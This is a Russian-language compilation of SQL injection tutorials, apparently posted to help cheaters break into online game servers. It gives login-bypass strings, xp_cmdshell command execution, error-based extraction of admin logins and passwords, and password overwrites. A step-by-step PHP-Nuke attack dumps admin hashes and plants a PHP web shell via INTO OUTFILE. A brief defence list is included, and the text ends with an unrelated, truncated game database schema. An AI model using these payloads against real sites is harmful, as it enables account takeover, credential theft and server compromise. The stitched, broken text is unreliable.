Еще о SQL injection
SQL injection - довольно действенный способ сломать любимую игру. Итак давайте рассмотрим основные известные места иньекций.

Раньше на ява сервах очень популярна была иньекция через команду /block. петиции -> почти везде пофикшено

До сих пор основная масса читтеров делаю иньекции через форум/регистрацию. что при умелом обращении позволяет добиться значительных результатов.

А все ли знаю что это такое. Те кто не знает читаем :

SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

Основные правила для желающих вытворить иньекцию

Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Все параметры между <FORM> и </FORM> потенциально могут быть уязвимы к введению SQL кода.

Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

hукцttp://securitylab.ru/?ID=31610
Как мне проверить что то, что я нашел, уязвимо?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi' or 1=1--

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi' or 1=1--
Pass: hi' or 1=1--
httуцкp/duck/index.asp?id=hi' or 1=1--

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1-- ">

</FORM>

Если удача на вашей стороне, вы войдете в систему без имени или пароля.
Но почему ' or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

htкуцtp://duck/index.asp?category=food

В URL, 'category' это имя переменной, и 'food' значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory='food'

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом:

http://duck/index.asp?category=food' or 1=1--
SELECT * FROM product WHERE PCategory='food' or 1=1--

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

' or 'a'='a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

'; exec master..xp_cmdshell 'ping 10.10.1.2' --

Попробуйте использовать двойные кавычки ("), если (') не срабатывает.

Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

http://securitylab.ru/?ID=31610

Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.
Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Указываемый IP должен иметь папку "share" с доступом для Everyone.

Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10

Теперь мы попробуем объединить целое 10 с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

Соответствующая конструкция '%25login%25' будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".
Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

Давайте получим первый login_name из таблицы "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Выдаст:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "neo" с паролем 'm4trix'.

Как получить числовое значение строки?

Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для '+' = 0x2b). Затем, мы добавим в конец '%20morpheus' в фактический пароль. Поэтому, даже если значение пароля '31173', он станет '31173 morpheus'. Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "trinity" с паролем '31173'.

Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo--

Чтобы внести (INSERT) новую запись в базу данных:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Теперь мы сможем войти в систему как "neo" с паролем 'newpas5'.

Как избежать SQL Injection?

Фильтруйте специальные символы во всех строках в:

- любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.

Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
Text by Maxx
Язык SQL

Для работы с базами данных используется язык SQL (Структурированный Язык
Запросов) Это язык, который дает возможность создавать реляционные базы данных
(и работать с ними), которые представляют собой наборы связанной информации,
сохраняемой в таблицах. Реляционная база данных это тело связанной информации,
сохраняемой в двухмерных таблицах. Это напоминает адресную или телефонную книгу.

| name | password | email | <-- названия столбцев
| admin | password | admin@localhost.com | <-- д
- а
| lamer | qwerty | lamer@localhost.com | <-- н
- н
| hacker | mamba | hacka@localhost.com | <-- ы
- е

Есть несколько основных команд SQL которые необходимо знать для работы с БД.
Итак вот они:

Создание таблицы:

CREATE TABLE имя таблицы (имя поля тип, имя поля тип, ...)

Этой командой в базе данных создается новая таблица с указанным именем и
полями(колонками) указанного типа.
Эта команда врятли пригодится нам в нашем нехорошем деле так что особо
останавливаться на ней не буду.

Удаление таблицы:

DROP TABLE имя таблицы

Удаляет указанную таблицу, вне зависимости от того, пустая она или содержит
данные.

Вставка записи:

INSERT INTO имя таблицы (имя поля1, имя поля2, ...) VALUES ('значение1','значение2',...)

Добавляет в указаную таблицу поля и соответствующие им значения. Поля, которые
существуют в таблице, но не указаны в данной команде получают 'неопределенное
значение'. 'Неопределенное значение' - это, своего рода, внутренний флаг,
который указывает MySQL, что поле не имеет значения.

Примеры:

INSERT INTO users (name, password, email) VALUES ('root', 'pass', 'admin@localhost.com');
// Вставляет в таблицу "users" запись: root в поле name, pass в поле password

INSERT INTO admins (name, posts) VALUES ('admin', 2);
// Вставляет в таблицу admins запись: admin в поле name и 2 в поле posts
// Тут следует заметить что поле admin имеет текстовый формат, тогда как поле
// post имеет формат INT (числовой)
// Если бы оба поля были текстовыми то двойку также пришлось бы заключать в
// кавычки

Удаление записи:

DELETE FROM имя таблицы WHERE выражение

Удаляет из указанной таблицы все записи, которые удовлетворяют условию в
выражении после WHERE.

Примеры:

DELETE FROM users WHERE name='root';

DELETE FROM admins WHERE post=2;

Поиск записи:

SELECT * FROM имя таблицы WHERE выражение

Ищет в указанной таблице все записи, которые удовлетворяют условиям выражения.
Знак * означает выбор всех полей записи, если нужно выбрать всего-лишь несколько
полей, они перечисляются явным образом через запятую.

Примеры:

SELECT * FROM users;
// Выведет все записи из таблицы users

SELECT name, email FROM users;
// Выведет записи колонок name и email

SELECT name FROM admins WHERE post>2;
// Выведет записи колонки name из таблицы admins для которых соответствующее значение post>2

SELECT * FROM admins WHERE name='root';

Обновление записи:

UPDATE имя таблицы SET имя поля1='значение1', имя поля2='значение2',... WHERE выражение

В указанной таблице все записи которые удовлетворяют выражению, получают в
перечисленных полях соответствующие перечисленные значения.

Примеры:

UPDATE users SET name='bad-admin' WHERE password='qwerty';
// В таблице users у всех записей у которых стоит qwerty в колонке password, значение в колонке
// name сменится на bad-admin
PHP и mySQL

Теперь посмотрим как работа с БД реализуется в пхп.
Для начала работы с базой нам необходимо установить с ней соединение:

mysql_connect($hostname,$username,$password)

И выбрать базу с которой будем работать:

mysql_select_db($dbname)

$hostname сервер БД
$username логин к базе $password пароль к базе $dbname название базы
После этого мы можем отдавать SQL запросы с помощью mysql_query($query) где
$query наш запрос.

Например:

Вот в принципе основы которые нужно знать для работы с БД. Теперь переходим к
более интересному, а именно к способам внедрения своего кода.

Основы SQL-injection

Как вы могли заметить тестовые данные передаются в sql-запросах заключенными в
кавычки data' отсюда можно сделать интересное замечание. Что если к скрипте
данные для sql-запроса берутся из полученных от пользователя переменных и не
фильтруются Тогда мы можем попробовать вставить в запрос эту самую кавычку "'"

Допустим есть скрипт выбирающий мыло пользователя из таблицы в соответствии с
его логином:

Если мы передаем в переменной $login нормальный текст например "lamer" то в SQL
будет выполнен запрос:

SELECT mail FROM users WHERE login='lamer'

И все сработает как надо

А теперь попробуем вставить кавычку: $login=hacker'
И запрос будет такой:

SELECT mail FROM users WHERE login='hacker''

И как мы сможем увидеть данный запрос выдаст нам ошибку. Отлично =) Лишняя
кавычка сделала свое дело и мы смогли видоизменить запрос к базе данных.
Наипростейший пример. Допустим приведенный выше скрипт позволяет смотреть
пользователю его регистрационные данные. Теперь используя кавычку мы сможем
посмотреть инфу всех пользователей, вот примерно так:

$login=blah' OR login='admin

И sql-запрос изменится на такой:

SELECT mail FROM users WHERE login='blah' OR login='admin'

Т.е. вместо вывода мыла юзера, скрипт выдаст нам мыло админа данного скрипта.
Далее мы можем получить мыла всех пользователей:

$login=no_user' OR '1'='1

SQL запрос такой станет:

SELECT mail FROM users WHERE login='no_user' OR 1'='1'

Т.к. '1'='1' всегда то запрос вернет все записи из таблицы.

Использование кавычки применимо в случае передачи в запрос текстовых данных, с
числовыми данными все еще проще. Допустим скрипт выводит пароль пользователя в
соответствии с его порядковым номером:

При передаче нормального номера скрипт отдает запрос к БД и запрос возвращает
необходимые данные:

SELECT password FROM users WHERE num=7;

Тут мы можем изменить запрос даже не прибегая в кавычкам:

$num=1 OR 2

и запрос станет:

SELECT password FROM users WHERE num=1 OR 2;

Это основа данного типа атак. Также кроме кавычки есть еще символы которые
смогут нам пригодится.

Точка с запятой ";" служит для разделения sql-запросов к базе данных. К
сожалению не поддерживается в mysql =( так что далее в статье рассматриваться не
будет. В случае если мы имеем дело с MS SQL в которой данная возможность
поддерживается то с её помощью мы получаем возможность отдавать несколько
запросов в одной строке, например:

Рассмотренный выше скрипт:

Если работает с MS SQL то изменяем переменную вот таким образом:

$login=no_user'; delete FROM users WHERE login='admin

Запрос:

SELECT mail FROM users WHERE login='no_user'; delete FROM users WHERE login='admin';

Соответственно мы удалим запись у которой в поле login стоит значение "admin" =)

Также нам пригодятся "-" и "/*" это символы обозначающие в sql начало
комментария. Пригодится чтоб отсекать лишние данные в запросах.
Например:

$result = mysql_query(\"SELECT mail FROM users WHERE login='$login' AND post='123'\");

Если мы передадим переменную $login=no_user' OR '1'='1 то запрос станет:

SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123';

Согласитесь не совсем то что нам надо =\
В этом случае нам и пригодится комментирование

$login=no_user' OR '1'='1';--
или
$login=no_user' OR '1'='1'/*

Заметьте что в данном случае мы сами закрываем кавычку в конце запроса т.к.
кавычка из запроса которая ранее закрывала переменную теперь будет
закоментирована.
Ну чтож мы теперь умеем выводить информацию из таблицы. Но вы заметили что мы
ограничены этой таблицей? Т.е. Мы не можем вывести данные из другой таблицы. Для
получения данных из других таблиц нам потребуется более детальное изучение
структуры запросов и еще одна команда.
Использование команды UNION

Итак команда UNION используется для обьединения вывода двух или более запросов SELECT.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны
быть совместимы для объединения. Это означает, что каждый запрос должен
указывать одинаковое количество столбцов и в том же порядке и каждый должен
иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более
ранних версиях БД работать не будет.

Вид команды таков:

SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном
примере. Помучить предлагаю PHP-Nuke версии 7.0 FINAL. Советую скачать и
поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql
с ведением логов и приступаем.

SQL injection на примере PHP-Nuke

Итак разбираться будем с модулем News

http://127.0.0.1/nuke7/modules.php?name … ew_topic=1

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к
значению new_topic, соответственно теперь запрос становится таким:

http://127.0.0.1/nuke7/modules.php?name … w_topic=1'

Отдаем в браузере запрос и смотрим логи mysql:

...
10 Query SELECT topictext FROM nuke_topics WHERE topicid='1''
^!!!

10 Query SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings FROM nuke_stories WHERE topic='1'' ORDER BY sid DESC limit 10
^!!!
...

Вот тут наша ковычка себя и проявила =)
Видите: WHERE topicid='1''

Рассмотрим первый запрос:

SELECT topictext FROM nuke_topics WHERE topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:

+-------------------------+
| topictext | varchar(40) |
+-------------------------+

Отлично теперь попробуем использовать команду UNION:
Отдаем в браузере запрос:

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:

14 Query SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
^
вот он наш запрос

Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос
естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку
pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого
пользователя который и подставляется в название раздела. Заметьте что если мы
укажем существующий номер топика то результата мы не получим т.к. будет
подставлено название этого топика а не хеш. Поэтому мы и используем номер 999.
Вот первая уязвимость =)

Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )

SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'' <-- Вот тут мы можем вставить свой sql-код
ORDER BY sid DESC limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint( |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с
UNION таким образом чтобы типы из таблицы nuke_stories совпадали с типами из
nuke_authors и запрос примет вид:

modules.php?name=News&new_topic=999' UNION SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter FROM nuke_authors /*

Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не
обязательно указывать несуществующий топик т.к. все работает и с топиком
существующим в базе.

Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе
данных: (запрос разбит на 4 блока для большего удобства)

SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'

UNION

SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
FROM nuke_authors

/*
' ORDER BY sid DESC limit 10

Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий

Вывод данных в файл

К слову сказать, в инете полно практически одинаковых статей про sql-injection и
все они рассказывают про атаки данного типа при использовании MS SQL в качестве
сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие
возможности для взлома всего сервера за счет возможностей разделения запросов в
строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в
котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql
возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех
статьях описывается взлом при авторизации и авторизация там происходит примерно
таким запросом:

SELECT * FROM users WHERE login='blabla' AND password='blabla';

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем
спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда
унесло =\ Мы лучше рассмотрим авторизацию в PHP-Nuke 6.9. в котором процесс
авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки!
Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью
кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода
в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на
эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через
форму авторизации. Для этого и пришлось использовать более раннюю версию. Как
пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и
пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в
качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля.
Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль
в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:

1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin''
^ - вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять UNION и SELECT? Рано. Дело в том что в данном
модуле не происходит никакого вывода полученных данных из БД. Естественно раз
нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в
mysql есть замечательная опция сохранения выбранных из таблицы данных в файл.
Производится данный финт ушами следующим образом:

SELECT * FROM table INTO OUTFILE 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести
длинный логин поэтому придется передавать данные через строку браузера:

http://127.0.0.1/phpnuke69/admin.php?op … aid=admin' INTO OUTFILE 'pwd.txt

После запроса данной строки в БД исполняется:

9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' INTO OUTFILE 'pwd.txt'

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся
проблемма в том что файл создается не в корне www-сервера а в каталоге базы
данных. Для создания файла в каталоге доступном через web необходимо указывать
полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt

И теперь уже:

http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать
файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать
нужный запрос и создать файл.

================================================
---/// Получение http-шелла
================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то
большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать
любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе
маленький такой http-шелл посредством создания php файла с незатейливым и
наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки
получить хеш пароля админа и вы благополучно залогинились как админ движка,
расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно
рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом
вставить php-код в одно из значений в базе данных а потом вывести его в файл.
Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел Topics. Создаем
новый топик.
В поле Topic Name пишем passthru
в поле Topic Text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

http://127.0.0.1/phpnuke/modules.php?na … w_topic=2' INTO OUTFILE 'shell.php' /*

где 2 - номер нового топика , shell.php - файл который будет создан

Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.

                                             Вещи в БД c4 pts
TABLE [user_data](
[char_name] [nvarchar](50) COLLATE Korean_Wansung_CI_AS NOT NULL,
[char_id] [int] IDENTITY(1,1) NOT NULL,
[account_name] [nvarchar](50) COLLATE Korean_Wansung_CI_AS NOT NULL,
[account_id] [int] NOT NULL,
[pledge_id] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_id]  DEFAULT ((0)),
[builder] [tinyint] NOT NULL CONSTRAINT [DF_user_data_builder]  DEFAULT ((0)),
[gender] [tinyint] NOT NULL,
[race] [tinyint] NOT NULL,
[class] [tinyint] NOT NULL,
[world] [smallint] NOT NULL,
[xloc] [int] NOT NULL,
[yloc] [int] NOT NULL,
[zloc] [int] NOT NULL,
[IsInVehicle] [smallint] NOT NULL CONSTRAINT [DF_user_data_IsInVehicle]  DEFAULT ((0)),
[HP] [float] NOT NULL,
[MP] [float] NOT NULL,
[SP] [int] NOT NULL CONSTRAINT [DF_user_data_SP]  DEFAULT ((0)),
[Exp] [int] NOT NULL,
[Lev] [tinyint] NOT NULL,
[align] [int] NOT NULL,
[PK] [int] NOT NULL CONSTRAINT [DF_user_data_PK]  DEFAULT ((0)),
[PKpardon] [int] NOT NULL CONSTRAINT [DF_user_data_PKpardon]  DEFAULT ((0)),
[Duel] [int] NOT NULL CONSTRAINT [DF_user_data_Dual]  DEFAULT ((0)),
[ST_underware] [int] NOT NULL CONSTRAINT [DF_user_data_ST_underware]  DEFAULT ((0)),
[ST_right_ear] [int] NOT NULL CONSTRAINT [DF_user_data_ST_right_ear]  DEFAULT ((0)),
[ST_left_ear] [int] NOT NULL CONSTRAINT [DF_user_data_ST_left_ear]  DEFAULT ((0)),
[ST_neck] [int] NOT NULL CONSTRAINT [DF_user_data_ST_neck]  DEFAULT ((0)),
[ST_right_finger] [int] NOT NULL CONSTRAINT [DF_user_data_ST_right_finger]  DEFAULT ((0)),
[ST_left_finger] [int] NOT NULL CONSTRAINT [DF_user_data_ST_left_finger]  DEFAULT ((0)),
[ST_head] [int] NOT NULL CONSTRAINT [DF_user_data_ST_head]  DEFAULT ((0)),
[ST_right_hand] [int] NOT NULL CONSTRAINT [DF_user_data_ST_right_hand]  DEFAULT ((0)),
[ST_left_hand] [int] NOT NULL CONSTRAINT [DF_user_data_ST_left_hand]  DEFAULT ((0)),
[ST_gloves] [int] NOT NULL CONSTRAINT [DF_user_data_ST_gloves]  DEFAULT ((0)),
[ST_chest] [int] NOT NULL CONSTRAINT [DF_user_data_ST_chest]  DEFAULT ((0)),
[ST_legs] [int] NOT NULL CONSTRAINT [DF_user_data_ST_legs]  DEFAULT ((0)),
[ST_feet] [int] NOT NULL CONSTRAINT [DF_user_data_ST_feet]  DEFAULT ((0)),
[ST_back] [int] NOT NULL CONSTRAINT [DF_user_data_ST_back]  DEFAULT ((0)),
[ST_both_hand] [int] NOT NULL CONSTRAINT [DF_user_data_ST_both_hand]  DEFAULT ((0)),
[create_date] [datetime] NOT NULL CONSTRAINT [DF_user_data_create_date]  DEFAULT (getdate()),
[login] [datetime] NULL,
[logout] [datetime] NULL,
